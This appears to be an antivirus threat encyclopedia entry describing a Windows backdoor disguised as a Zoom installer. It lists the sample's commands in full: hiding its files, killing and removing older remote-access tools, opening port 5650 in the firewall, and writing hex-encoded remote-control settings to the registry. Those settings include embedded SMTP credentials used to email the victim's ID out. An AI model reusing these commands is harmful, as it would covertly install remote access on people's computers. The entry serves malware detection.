ALIASES:

HEUR:Trojan.Win32.Generic (Kaspersky)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:

  • Threat Type: Backdoor

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Backdoor arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size: 16,156,300 bytes
File Type: EXE
Memory Resident: Yes
Initial Samples Received Date: 20 May 2020

Arrival Details

This Backdoor arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Backdoor adds the following processes:

  • cmd.exe /c if exist "%SYSTEMROOT%\System32\idfgvgjnghcdfb.reg" (goto& cd %SYSTEMROOT%\System32\drivers& attrib +h +s "svch\xc3\xaest.exe"& attrib -h -s "install.exe"& del /f /q "install.exe"& attrib -h -s "install.cmd"& del /f /q "install.cmd"& Exit) else taskkill /f /im rutserv.exe& taskkill /f /im rfusclient.exe& reg delete "HKLM\SYSTEM\Remote Manipulator System" /f& netsh firewall add portopening TCP 5650 "Open Port 5650"& netsh advfirewall firewall add rule name="Open Port 5650" dir=in action=allow protocol=TCP localport=5650& "%SYSTEMROOT%\System32\drivers\install.exe"& ping 127.0.0.1& "%SYSTEMROOT%\System32\drivers\svch\xc3\xaest.exe" /silentinstall&"%SYSTEMROOT%\System32\drivers\svch\xc3\xaest.exe" /firewall& "%SYSTEMROOT%\System32\drivers\svch\xc3\xaest.exe" /start& Echo Windows Registry Editor Version 5.00> %SYSTEMROOT%\System32\idfgvgjnghcdfb.reg& attrib +h +s "%SYSTEMROOT%\System32\idfgvgjnghcdfb.reg"& cd %SYSTEMROOT%\System32\drivers& attrib +h +s "svch\xc3\xaest.exe"& attrib -h -s "install.exe"& del /f /q "install.exe"& attrib -h -s "install.cmd"& del /f /q "install.cmd"& Exit
  • "%User Temp%\Zoom Meetings\5.0.1\setup.exe"
  • %User Temp%\Zoom Meetings\5.0.1\setup.exe
  • %User Temp%\Zoom Meetings\5.0.1\reg.exe shortcut "%Application Data%\Zoom\bin\Zoom.exe" "~$folder.desktop$" "Start Zoom"
  • "%System%\cmd.exe" /c attrib -h -s -r "%User Temp%\Zoom Meetings\5.0.1\*.*"
  • "%System%\cmd.exe" /c RMDIR /s/q "%User Temp%\Zoom Meetings"
  • taskkill /f /im rutserv.exe
  • taskkill /f /im rfusclient.exe
  • reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
  • netsh firewall add portopening TCP 5650 "Open Port 5650"
  • netsh advfirewall firewall add rule name="Open Port 5650" dir=in action=allow protocol=TCP localport=5650
  • "%System%\drivers\install.exe"
  • %System%\PING.EXE ping 127.0.0.1
  • .\Installer.exe
  • %User Temp%\7zS8C40EAE9\Installer.exe /addfwexception --bin_home="%Application Data%\Zoom\bin"
  • %Application Data%\Zoom\bin\Zoom.exe %Application Data%\Zoom\bin\Zoom.exe
  • cmd.exe /c REG ADD "HKLM\SOFTWARE\Classes\.gz" /v notification /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c726d735f696e65745f69645f6e6f74696669636174696f6e2076657273696f6e3d223639313130223e3c73657474696e67735f6170706c6965643e747275653c2f73657474696e67735f6170706c6965643e3c7573655f69645f73657474696e67733e747275653c2f7573655f69645f73657474696e67733e3c67656e65726174655f6e65775f69643e747275653c2f67656e65726174655f6e65775f69643e3c73656e645f746f5f656d61696c3e747275653c2f73656e645f746f5f656d61696c3e3c69643e7b46344332364244352d423335302d344635382d414445442d4131364641363137353634467d3c2f69643e3c67656e65726174655f6e65775f70617373776f72643e66616c73653c2f67656e65726174655f6e65775f70617373776f72643e3c61736b5f6964656e74696669636174696f6e3e66616c73653c2f61736b5f6964656e74696669636174696f6e3e3c73656e743e66616c73653c2f73656e743e3c76657273696f6e3e36393131303c2f76657273696f6e3e3c7075626c69635f6b65795f6d3e3c2f7075626c69635f6b65795f6d3e3c7075626c69635f6b65795f653e3c2f7075626c69635f6b65795f653e3c70617373776f72643e3c2f70617373776f72643e3c696e7465726e65745f69643e3c2f696e7465726e65745f69643e3c646973636c61696d65723e3c2f646973636c61696d65723e3c6f76657277726974655f69645f636f64653e66616c73653c2f6f76657277726974655f69645f636f64653e3c6f76657277726974655f69645f73657474696e67733e66616c73653c2f6f76657277726974655f69645f73657474696e67733e3c69645f637573746f6d5f7365727665725f7573653e66616c73653c2f69645f637573746f6d5f7365727665725f7573653e3c69645f637573746f6d5f7365727665725f616464726573733e3c2f69645f637573746f6d5f7365727665725f616464726573733e3c69645f637573746f6d5f7365727665725f706f72743e353635353c2f69645f637573746f6d5f7365727665725f706f72743e3c69645f637573746f6d5f7365727665725f697076363e66616c73653c2f69645f637573746f6d5f7365727665725f697076363e3c69645f637573746f6d5f7365727665725f7573655f70696e3e66616c73653c2f69645f637573746f6d5f7365727665725f7573655f70696e3e3c69645f637573746f6d5f7365727665725f70696e3e3c2f69645f637573746f6d5f7365727665725f70696e3e3c636f6d70757465725f6e616d653e3c2f636f6d70757465725f6e616d653e3c73656c665f6964656e74696669636174696f6e3e3c2f73656c665f6964656e74696669636174696f6e3e3c736d74705f73657474696e67733e3c686f73743e736d74702e73706163657765622e72753c2f686f73743e3c706f72743e3436353c2f706f72743e3c757365726e616d653e636f727440636f7274636f6d2e6f6e6c696e653c2f757365726e616d653e3c70617373776f72643e763933396a7734786871537433656d504454484e704b3364356f394d4d5a716b727433326a7a7778394b413d3c2f70617373776f72643e3c66726f6d5f656d61696c3e636f727440636f7274636f6d2e6f6e6c696e653c2f66726f6d5f656d61696c3e3c7573655f746c733e747275653c2f7573655f746c733e3c656d61696c3e636f7274636f6d4079616e6465782e72753c2f656d61696c3e3c7375626a6563743e25555345524e414d452525434f4d504e414d45255f254944253c2f7375626a6563743e3c746578743e25555345524e414d452525434f4d504e414d45255f254944253c2f746578743e3c2f736d74705f73657474696e67733e3c2f726d735f696e65745f69645f6e6f74696669636174696f6e3e0d0a /f
  • cmd.exe /c REG ADD "HKLM\SOFTWARE\Classes\.gz" /v Security /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c73656375726974795f73657474696e67732076657273696f6e3d223639313130223e3c77696e646f77735f73656375726974793e3c2f77696e646f77735f73656375726974793e3c73696e676c655f70617373776f72645f686173683e42343235324639423241323034344331463444413230414533413631444338343943343337453843334139453539444530433733304441443832453445314245353441324337313137463442413231453545344133384343443030304243323743313641333331333436304637413037393139414435354444373838394135363c2f73696e676c655f70617373776f72645f686173683e3c6d795f757365725f6163636573735f6c6973743e3c757365725f6163636573735f6c6973743e3c757365725f6163636573733e3c7369643e7b43373538414534332d303942442d344144392d393441332d4437374242443042464634417d3c2f7369643e3c757365725f6e616d653e41646d696e3c2f757365725f6e616d653e3c70617373776f72643e42343235324639423241323034344331463444413230414533413631444338343943343337453843334139453539444530433733304441443832453445314245353441324337313137463442413231453545344133384343443030304243323743313641333331333436304637413037393139414435354444373838394135363c2f70617373776f72643e3c6163636573735f6d61736b3e3935393c2f6163636573735f6d61736b3e3c6163746976653e747275653c2f6163746976653e3c757365725f7065726d697373696f6e735f61736b3e66616c73653c2f757365725f7065726d697373696f6e735f61736b3e3c757365725f7065726d697373696f6e735f696e74657276616c3e31303030303c2f757365725f7065726d697373696f6e735f696e74657276616c3e3c757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e66616c73653c2f757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e3c757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e66616c73653c2f757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e3c2f757365725f6163636573733e3c2f757365725f6163636573735f6c6973743e3c2f6d795f757365725f6163636573735f6c6973743e3c69705f66696c7465725f747970653e323c2f69705f66696c7465725f747970653e3c69705f626c61636b5f6c6973743e3c2f69705f626c61636b5f6c6973743e3c69705f77686974655f6c6973743e3c2f69705f77686974655f6c6973743e3c617574685f6b696e643e333c2f617574685f6b696e643e3c6f74705f656e61626c653e66616c73653c2f6f74705f656e61626c653e3c6f74705f707269766174655f6b65793e3c2f6f74705f707269766174655f6b65793e3c6f74705f71725f7365637265743e3c2f6f74705f71725f7365637265743e3c757365725f7065726d697373696f6e735f61736b3e66616c73653c2f757365725f7065726d697373696f6e735f61736b3e3c757365725f7065726d697373696f6e735f696e74657276616c3e31303030303c2f757365725f7065726d697373696f6e735f696e74657276616c3e3c757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e66616c73653c2f757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e3c757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e66616c73653c2f757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e3c64697361626c655f72656d6f74655f636f6e74726f6c3e66616c73653c2f64697361626c655f72656d6f74655f636f6e74726f6c3e3c64697361626c655f72656d6f74655f73637265656e3e66616c73653c2f64697361626c655f72656d6f74655f73637265656e3e3c64697361626c655f66696c655f7472616e736665723e66616c73653c2f64697361626c655f66696c655f7472616e736665723e3c64697361626c655f72656469726563743e66616c73653c2f64697361626c655f72656469726563743e3c64697361626c655f74656c6e65743e66616c73653c2f64697361626c655f74656c6e65743e3c64697361626c655f72656d6f74655f657865637574653e66616c73653c2f64697361626c655f72656d6f74655f657865637574653e3c64697361626c655f7461736b5f6d616e616765723e66616c73653c2f64697361626c655f7461736b5f6d616e616765723e3c64697361626c655f73687574646f776e3e66616c73653c2f64697361626c655f73687574646f776e3e3c64697361626c655f72656d6f74655f757067726164653e66616c73653c2f64697361626c655f72656d6f74655f757067726164653e3c64697361626c655f707265766965775f636170747572653e66616c73653c2f64697361626c655f707265766965775f636170747572653e3c64697361626c655f6465766963655f6d616e616765723e66616c73653c2f64697361626c655f6465766963
  • cmd.exe /c REG ADD "HKLM\SOFTWARE\Classes\.gz" /v General /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c67656e6572616c5f73657474696e67732076657273696f6e3d223639313130223e3c706f72743e353635303c2f706f72743e3c686964655f747261795f69636f6e5f706f7075705f6d656e753e747275653c2f686964655f747261795f69636f6e5f706f7075705f6d656e753e3c747261795f6d656e755f686964655f73746f703e747275653c2f747261795f6d656e755f686964655f73746f703e3c6c616e67756167653e456e676c6973683c2f6c616e67756167653e3c63616c6c6261636b5f6175746f5f636f6e6e6563743e747275653c2f63616c6c6261636b5f6175746f5f636f6e6e6563743e3c63616c6c6261636b5f636f6e6e6563745f696e74657276616c3e36303c2f63616c6c6261636b5f636f6e6e6563745f696e74657276616c3e3c70617373776f72645f646174613e3765753976447778394b413d3c2f70617373776f72645f646174613e3c70726f746563745f63616c6c6261636b5f73657474696e67733e747275653c2f70726f746563745f63616c6c6261636b5f73657474696e67733e3c70726f746563745f696e65745f69645f73657474696e67733e747275653c2f70726f746563745f696e65745f69645f73657474696e67733e3c7573655f6c65676163795f636170747572653e66616c73653c2f7573655f6c65676163795f636170747572653e3c646f5f6e6f745f636170747572655f7264703e747275653c2f646f5f6e6f745f636170747572655f7264703e3c7573655f69705f765f363e747275653c2f7573655f69705f765f363e3c6c6f675f7573653e66616c73653c2f6c6f675f7573653e3c636861745f636c69656e745f73657474696e67733e3c2f636861745f636c69656e745f73657474696e67733e3c617574685f6b65795f737472696e673e3c2f617574685f6b65795f737472696e673e3c7369645f69643e34333637302e393835393532363936383c2f7369645f69643e3c6e6f746966795f73686f775f70616e656c3e66616c73653c2f6e6f746966795f73686f775f70616e656c3e3c6e6f746966795f6368616e67655f747261795f69636f6e3e747275653c2f6e6f746966795f6368616e67655f747261795f69636f6e3e3c6e6f746966795f62616c6c6f6e5f68696e743e66616c73653c2f6e6f746966795f62616c6c6f6e5f68696e743e3c6e6f746966795f706c61795f736f756e643e66616c73653c2f6e6f746966795f706c61795f736f756e643e3c6e6f746966795f70616e656c5f783e2d313c2f6e6f746966795f70616e656c5f783e3c6e6f746966795f70616e656c5f793e2d313c2f6e6f746966795f70616e656c5f793e3c70726f78795f73657474696e67733e3737752f5044393462577767646d567963326c76626a30694d5334774969426c626d4e765a476c755a7a3069565652474c546769507a344e436a7877636d39346556397a5a5852306157356e637942325a584a7a61573975505349324f5445784d43492b5048567a5a563977636d39346554356d5957787a5a54777664584e6c5833427962336835506a7877636d3934655639306558426c506a41384c33427962336835583352356347552b504768766333512b5043396f62334e30506a787762334a30506a67774f4441384c334276636e512b5047356c5a575266595856306144356d5957787a5a547776626d566c5a4639686458526f506a787564473173583246316447672b5a6d4673633255384c32353062577866595856306144343864584e6c636d35686257552b5043393163325679626d46745a5434386347467a63336476636d512b5043397759584e7a643239795a4434385a47397459576c75506a77765a47397459576c75506a777663484a7665486c666332563064476c755a334d2b44516f3d3c2f70726f78795f73657474696e67733e3c6164646974696f6e616c3e3c2f6164646974696f6e616c3e3c64697361626c655f696e7465726e65745f69643e66616c73653c2f64697361626c655f696e7465726e65745f69643e3c736166655f6d6f64655f7365743e66616c73653c2f736166655f6d6f64655f7365743e3c73686f775f69645f6e6f74696669636174696f6e3e66616c73653c2f73686f775f69645f6e6f74696669636174696f6e3e3c73686f775f69645f6e6f74696669636174696f6e5f726571756573743e66616c73653c2f73686f775f69645f6e6f74696669636174696f6e5f726571756573743e3c696e746567726174655f6669726577616c6c5f61745f737461727475703e747275653c2f696e746567726174655f6669726577616c6c5f61745f737461727475703e3c2f67656e6572616c5f73657474696e67733e0d0a /f
  • cmd.exe /c REG ADD "HKLM\SOFTWARE\Classes\.gz" /v Certificates /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c636572746966696374655f73657474696e67732076657273696f6e3d223639313130223e3c63657274696669636174653e4c5330744c5331435255644a5469424452564a5553555a4a51304655525330744c533074436b314a5355524b616b4e44515763325a30463353554a425a306c465658463365473971515535435a32747861477470527a6c334d454a4255584e4751555243566b31526333644455566c45566c465252305633536c594b5658704661553144515564424d56564651326433576c5674566e52694d314a735355557861474a746248646b5633686f5a45633565556c47546a566a4d314a73596c524661553144515564424d565646515864335767705662565a30596a4e5362456c464d576869625778335a466434614752484f586c4a526b3431597a4e5362474a5551575647647a4234543152424d3031715558684f656b3031546b526b59555a334d486c505645457a436b31715258684f656b3031546b526b5955314756586844656b464b516d644f566b4a425756524262465a5554564e4a64306c42575552575556464c52454a73553170584d585a6b5231566e5646644764574659516a454b596b64474d47497a535764564d3278365a456457644531545358644a51566c45566c46525245524362464e61567a46325a4564565a315258526e566857454978596b64474d47497a535764564d3278365a4564576441704e53556c4353577042546b4a6e6133466f61326c484f586377516b465252555a4251553944515645345155314a53554a445a307444515646465158685053457071556b5671643356776244426d55455261527a5678436d30724e6d745152314a5159566447546d314765556b344d554a554e45567965464a545744685061574a465669396a4c304e7863474a3257485a71647a4a7065576c4964334a755957567957553173596a6846646c634b5154685a5757355461334654576d4a4e656d70575655645555473149563356454d6b643054475a365630743161545235555770784e445646625764434d584a3253314a51646c5a49596c70734d6b5a56513070495a6770344e33564f5a6d4e544c31465553326c4e6448553165584a73566d49354f57466a5a5570535a46465a6332597a4e6d6f7652546c544b3038304d334654546e64534d564972566b4e4a56337057516e705357564e33436a4e4553457442535373356154646d59544d79536b784f52544e7164326c68625846424f4452534f474977523273354b793968646c6c76595442724c3064554e6d70565257705a614768344d4868434f5449725a456f4b5758466e633046594f574a45646e4d775a58647163304645596c6b785332524c517a6c7059585a4962304659636c513452324a73654777314f484a5665565a50616a4a74555863765a584e355a56644256566f336477707555556c4551564642516b31424d4564445533464855306c694d30525252554a44643156425154524a516b4652516d464257474672645846786145464562336475526a4e345131466c56554972617a466f527a4935436d565459697478616a5a4252584a4f6547704b62573170536a646c4f5759354e58525755466b72654864334e476b794b31684b574656484d6e5a4f525552344e57786d56305652623235335a7a51345657316154566b4b556c4e595230786e526d517954576c6e61464645526e68774f46683663557451575870565657784b553235586446567357445531626b347a536e707a4e53747757467061556d314b576b5a32536e52475a5339695241707a51315657654452614f4851324f554e524e5856314d307048596b4a7054573872516b343452575a456458424d534670716157744c516c46695532526e52576434643064304e53396d636d30314c32733457473934436b4e7864585a7156445a3155555a32513064755a4459334b3231495243397a5a586778627a4e554e58645156334e4b536c42725a3170484d306c695a30467756307047566e6c704f584a5556566c71654851785555634b654531434f5451355747566f4e446c6d576a525a54445577616a4e4f656d685a656b35474e6c5934625864424c326873576d3933563239504e30673364444e6d54325935523073765132594b4c5330744c533146546b51675130565356456c4753554e42564555744c5330744c516f3d3c2f63657274696669636174653e3c707269766174655f6b65793e4c5330744c5331435255644a54694251556b6c575156524649457446575330744c533074436b314a535556325a306c4351555242546b4a6e6133466f61326c484f586377516b465252555a4251564e44516b746e6432646e553274425a3056425157394a516b4652524555305932314f52564e51517a5a745746494b4f44684f61324a746357493363564534576b553563466c564d6c6c595357703656555a515a314e32526b5a4b5a6e6332536e4e5357446c364f457478624855355a5374515247464d53306c6d5133566b63445a305a777035566e5a33557a6c5a5248686f6157524c5533424b62484e36543035575556704e4b316c6b59545251575745776443394f575845325447704b51303979616d74545955464956335534634555724f56566b64473159436c6c5755556c72
  • cmd.exe /c reg delete "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\installer 20.0.9800.1720" /f
  • Zoom.exe --action=uploadFeedback
  • %Application Data%\Zoom\bin\Zoom.exe %Application Data%\Zoom\bin\Zoom.exe --action=preload --runaszvideo=TRUE
  • %System%\reg.exe REG ADD "HKLM\SOFTWARE\Classes\.gz" /v notification /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c726d735f696e65745f69645f6e6f74696669636174696f6e2076657273696f6e3d223639313130223e3c73657474696e67735f6170706c6965643e747275653c2f73657474696e67735f6170706c6965643e3c7573655f69645f73657474696e67733e747275653c2f7573655f69645f73657474696e67733e3c67656e65726174655f6e65775f69643e747275653c2f67656e65726174655f6e65775f69643e3c73656e645f746f5f656d61696c3e747275653c2f73656e645f746f5f656d61696c3e3c69643e7b46344332364244352d423335302d344635382d414445442d4131364641363137353634467d3c2f69643e3c67656e65726174655f6e65775f70617373776f72643e66616c73653c2f67656e65726174655f6e65775f70617373776f72643e3c61736b5f6964656e74696669636174696f6e3e66616c73653c2f61736b5f6964656e74696669636174696f6e3e3c73656e743e66616c73653c2f73656e743e3c76657273696f6e3e36393131303c2f76657273696f6e3e3c7075626c69635f6b65795f6d3e3c2f7075626c69635f6b65795f6d3e3c7075626c69635f6b65795f653e3c2f7075626c69635f6b65795f653e3c70617373776f72643e3c2f70617373776f72643e3c696e7465726e65745f69643e3c2f696e7465726e65745f69643e3c646973636c61696d65723e3c2f646973636c61696d65723e3c6f76657277726974655f69645f636f64653e66616c73653c2f6f76657277726974655f69645f636f64653e3c6f76657277726974655f69645f73657474696e67733e66616c73653c2f6f76657277726974655f69645f73657474696e67733e3c69645f637573746f6d5f7365727665725f7573653e66616c73653c2f69645f637573746f6d5f7365727665725f7573653e3c69645f637573746f6d5f7365727665725f616464726573733e3c2f69645f637573746f6d5f7365727665725f616464726573733e3c69645f637573746f6d5f7365727665725f706f72743e353635353c2f69645f637573746f6d5f7365727665725f706f72743e3c69645f637573746f6d5f7365727665725f697076363e66616c73653c2f69645f637573746f6d5f7365727665725f697076363e3c69645f637573746f6d5f7365727665725f7573655f70696e3e66616c73653c2f69645f637573746f6d5f7365727665725f7573655f70696e3e3c69645f637573746f6d5f7365727665725f70696e3e3c2f69645f637573746f6d5f7365727665725f70696e3e3c636f6d70757465725f6e616d653e3c2f636f6d70757465725f6e616d653e3c73656c665f6964656e74696669636174696f6e3e3c2f73656c665f6964656e74696669636174696f6e3e3c736d74705f73657474696e67733e3c686f73743e736d74702e73706163657765622e72753c2f686f73743e3c706f72743e3436353c2f706f72743e3c757365726e616d653e636f727440636f7274636f6d2e6f6e6c696e653c2f757365726e616d653e3c70617373776f72643e763933396a7734786871537433656d504454484e704b3364356f394d4d5a716b727433326a7a7778394b413d3c2f70617373776f72643e3c66726f6d5f656d61696c3e636f727440636f7274636f6d2e6f6e6c696e653c2f66726f6d5f656d61696c3e3c7573655f746c733e747275653c2f7573655f746c733e3c656d61696c3e636f7274636f6d4079616e6465782e72753c2f656d61696c3e3c7375626a6563743e25555345524e414d452525434f4d504e414d45255f254944253c2f7375626a6563743e3c746578743e25555345524e414d452525434f4d504e414d45255f254944253c2f746578743e3c2f736d74705f73657474696e67733e3c2f726d735f696e65745f69645f6e6f74696669636174696f6e3e0d0a /f
  • %System%\reg.exe REG ADD "HKLM\SOFTWARE\Classes\.gz" /v Security /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c73656375726974795f73657474696e67732076657273696f6e3d223639313130223e3c77696e646f77735f73656375726974793e3c2f77696e646f77735f73656375726974793e3c73696e676c655f70617373776f72645f686173683e42343235324639423241323034344331463444413230414533413631444338343943343337453843334139453539444530433733304441443832453445314245353441324337313137463442413231453545344133384343443030304243323743313641333331333436304637413037393139414435354444373838394135363c2f73696e676c655f70617373776f72645f686173683e3c6d795f757365725f6163636573735f6c6973743e3c757365725f6163636573735f6c6973743e3c757365725f6163636573733e3c7369643e7b43373538414534332d303942442d344144392d393441332d4437374242443042464634417d3c2f7369643e3c757365725f6e616d653e41646d696e3c2f757365725f6e616d653e3c70617373776f72643e42343235324639423241323034344331463444413230414533413631444338343943343337453843334139453539444530433733304441443832453445314245353441324337313137463442413231453545344133384343443030304243323743313641333331333436304637413037393139414435354444373838394135363c2f70617373776f72643e3c6163636573735f6d61736b3e3935393c2f6163636573735f6d61736b3e3c6163746976653e747275653c2f6163746976653e3c757365725f7065726d697373696f6e735f61736b3e66616c73653c2f757365725f7065726d697373696f6e735f61736b3e3c757365725f7065726d697373696f6e735f696e74657276616c3e31303030303c2f757365725f7065726d697373696f6e735f696e74657276616c3e3c757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e66616c73653c2f757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e3c757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e66616c73653c2f757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e3c2f757365725f6163636573733e3c2f757365725f6163636573735f6c6973743e3c2f6d795f757365725f6163636573735f6c6973743e3c69705f66696c7465725f747970653e323c2f69705f66696c7465725f747970653e3c69705f626c61636b5f6c6973743e3c2f69705f626c61636b5f6c6973743e3c69705f77686974655f6c6973743e3c2f69705f77686974655f6c6973743e3c617574685f6b696e643e333c2f617574685f6b696e643e3c6f74705f656e61626c653e66616c73653c2f6f74705f656e61626c653e3c6f74705f707269766174655f6b65793e3c2f6f74705f707269766174655f6b65793e3c6f74705f71725f7365637265743e3c2f6f74705f71725f7365637265743e3c757365725f7065726d697373696f6e735f61736b3e66616c73653c2f757365725f7065726d697373696f6e735f61736b3e3c757365725f7065726d697373696f6e735f696e74657276616c3e31303030303c2f757365725f7065726d697373696f6e735f696e74657276616c3e3c757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e66616c73653c2f757365725f7065726d697373696f6e735f616c6c6f775f64656661756c743e3c757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e66616c73653c2f757365725f7065726d697373696f6e735f6f6e6c795f69665f757365725f6c6f676765645f6f6e3e3c64697361626c655f72656d6f74655f636f6e74726f6c3e66616c73653c2f64697361626c655f72656d6f74655f636f6e74726f6c3e3c64697361626c655f72656d6f74655f73637265656e3e66616c73653c2f64697361626c655f72656d6f74655f73637265656e3e3c64697361626c655f66696c655f7472616e736665723e66616c73653c2f64697361626c655f66696c655f7472616e736665723e3c64697361626c655f72656469726563743e66616c73653c2f64697361626c655f72656469726563743e3c64697361626c655f74656c6e65743e66616c73653c2f64697361626c655f74656c6e65743e3c64697361626c655f72656d6f74655f657865637574653e66616c73653c2f64697361626c655f72656d6f74655f657865637574653e3c64697361626c655f7461736b5f6d616e616765723e66616c73653c2f64697361626c655f7461736b5f6d616e616765723e3c64697361626c655f73687574646f776e3e66616c73653c2f64697361626c655f73687574646f776e3e3c64697361626c655f72656d6f74655f757067726164653e66616c73653c2f64697361626c655f72656d6f74655f757067726164653e3c64697361626c655f707265766965775f636170747572653e66616c73653c2f64697361626c655f707265766965775f636170747572653e3c64697361626c655f6465766963655f6d616e616765723e66616c73653c2f64697361626c655f646
  • %System%\reg.exe REG ADD "HKLM\SOFTWARE\Classes\.gz" /v General /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c67656e6572616c5f73657474696e67732076657273696f6e3d223639313130223e3c706f72743e353635303c2f706f72743e3c686964655f747261795f69636f6e5f706f7075705f6d656e753e747275653c2f686964655f747261795f69636f6e5f706f7075705f6d656e753e3c747261795f6d656e755f686964655f73746f703e747275653c2f747261795f6d656e755f686964655f73746f703e3c6c616e67756167653e456e676c6973683c2f6c616e67756167653e3c63616c6c6261636b5f6175746f5f636f6e6e6563743e747275653c2f63616c6c6261636b5f6175746f5f636f6e6e6563743e3c63616c6c6261636b5f636f6e6e6563745f696e74657276616c3e36303c2f63616c6c6261636b5f636f6e6e6563745f696e74657276616c3e3c70617373776f72645f646174613e3765753976447778394b413d3c2f70617373776f72645f646174613e3c70726f746563745f63616c6c6261636b5f73657474696e67733e747275653c2f70726f746563745f63616c6c6261636b5f73657474696e67733e3c70726f746563745f696e65745f69645f73657474696e67733e747275653c2f70726f746563745f696e65745f69645f73657474696e67733e3c7573655f6c65676163795f636170747572653e66616c73653c2f7573655f6c65676163795f636170747572653e3c646f5f6e6f745f636170747572655f7264703e747275653c2f646f5f6e6f745f636170747572655f7264703e3c7573655f69705f765f363e747275653c2f7573655f69705f765f363e3c6c6f675f7573653e66616c73653c2f6c6f675f7573653e3c636861745f636c69656e745f73657474696e67733e3c2f636861745f636c69656e745f73657474696e67733e3c617574685f6b65795f737472696e673e3c2f617574685f6b65795f737472696e673e3c7369645f69643e34333637302e393835393532363936383c2f7369645f69643e3c6e6f746966795f73686f775f70616e656c3e66616c73653c2f6e6f746966795f73686f775f70616e656c3e3c6e6f746966795f6368616e67655f747261795f69636f6e3e747275653c2f6e6f746966795f6368616e67655f747261795f69636f6e3e3c6e6f746966795f62616c6c6f6e5f68696e743e66616c73653c2f6e6f746966795f62616c6c6f6e5f68696e743e3c6e6f746966795f706c61795f736f756e643e66616c73653c2f6e6f746966795f706c61795f736f756e643e3c6e6f746966795f70616e656c5f783e2d313c2f6e6f746966795f70616e656c5f783e3c6e6f746966795f70616e656c5f793e2d313c2f6e6f746966795f70616e656c5f793e3c70726f78795f73657474696e67733e3737752f5044393462577767646d567963326c76626a30694d5334774969426c626d4e765a476c755a7a3069565652474c546769507a344e436a7877636d39346556397a5a5852306157356e637942325a584a7a61573975505349324f5445784d43492b5048567a5a563977636d39346554356d5957787a5a54777664584e6c5833427962336835506a7877636d3934655639306558426c506a41384c33427962336835583352356347552b504768766333512b5043396f62334e30506a787762334a30506a67774f4441384c334276636e512b5047356c5a575266595856306144356d5957787a5a547776626d566c5a4639686458526f506a787564473173583246316447672b5a6d4673633255384c32353062577866595856306144343864584e6c636d35686257552b5043393163325679626d46745a5434386347467a63336476636d512b5043397759584e7a643239795a4434385a47397459576c75506a77765a47397459576c75506a777663484a7665486c666332563064476c755a334d2b44516f3d3c2f70726f78795f73657474696e67733e3c6164646974696f6e616c3e3c2f6164646974696f6e616c3e3c64697361626c655f696e7465726e65745f69643e66616c73653c2f64697361626c655f696e7465726e65745f69643e3c736166655f6d6f64655f7365743e66616c73653c2f736166655f6d6f64655f7365743e3c73686f775f69645f6e6f74696669636174696f6e3e66616c73653c2f73686f775f69645f6e6f74696669636174696f6e3e3c73686f775f69645f6e6f74696669636174696f6e5f726571756573743e66616c73653c2f73686f775f69645f6e6f74696669636174696f6e5f726571756573743e3c696e746567726174655f6669726577616c6c5f61745f737461727475703e747275653c2f696e746567726174655f6669726577616c6c5f61745f737461727475703e3c2f67656e6572616c5f73657474696e67733e0d0a /f
  • %System%\reg.exe REG ADD "HKLM\SOFTWARE\Classes\.gz" /v Certificates /t REG_BINARY /d efbbbf3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0d0a3c636572746966696374655f73657474696e67732076657273696f6e3d223639313130223e3c63657274696669636174653e4c5330744c5331435255644a5469424452564a5553555a4a51304655525330744c533074436b314a5355524b616b4e44515763325a30463353554a425a306c465658463365473971515535435a32747861477470527a6c334d454a4255584e4751555243566b31526333644455566c45566c465252305633536c594b5658704661553144515564424d56564651326433576c5674566e52694d314a735355557861474a746248646b5633686f5a45633565556c47546a566a4d314a73596c524661553144515564424d565646515864335767705662565a30596a4e5362456c464d576869625778335a466434614752484f586c4a526b3431597a4e5362474a5551575647647a4234543152424d3031715558684f656b3031546b526b59555a334d486c505645457a436b31715258684f656b3031546b526b5955314756586844656b464b516d644f566b4a425756524262465a5554564e4a64306c42575552575556464c52454a73553170584d585a6b5231566e5646644764574659516a454b596b64474d47497a535764564d3278365a456457644531545358644a51566c45566c46525245524362464e61567a46325a4564565a315258526e566857454978596b64474d47497a535764564d3278365a4564576441704e53556c4353577042546b4a6e6133466f61326c484f586377516b465252555a4251553944515645345155314a53554a445a307444515646465158685053457071556b5671643356776244426d55455261527a5678436d30724e6d745152314a5159566447546d31476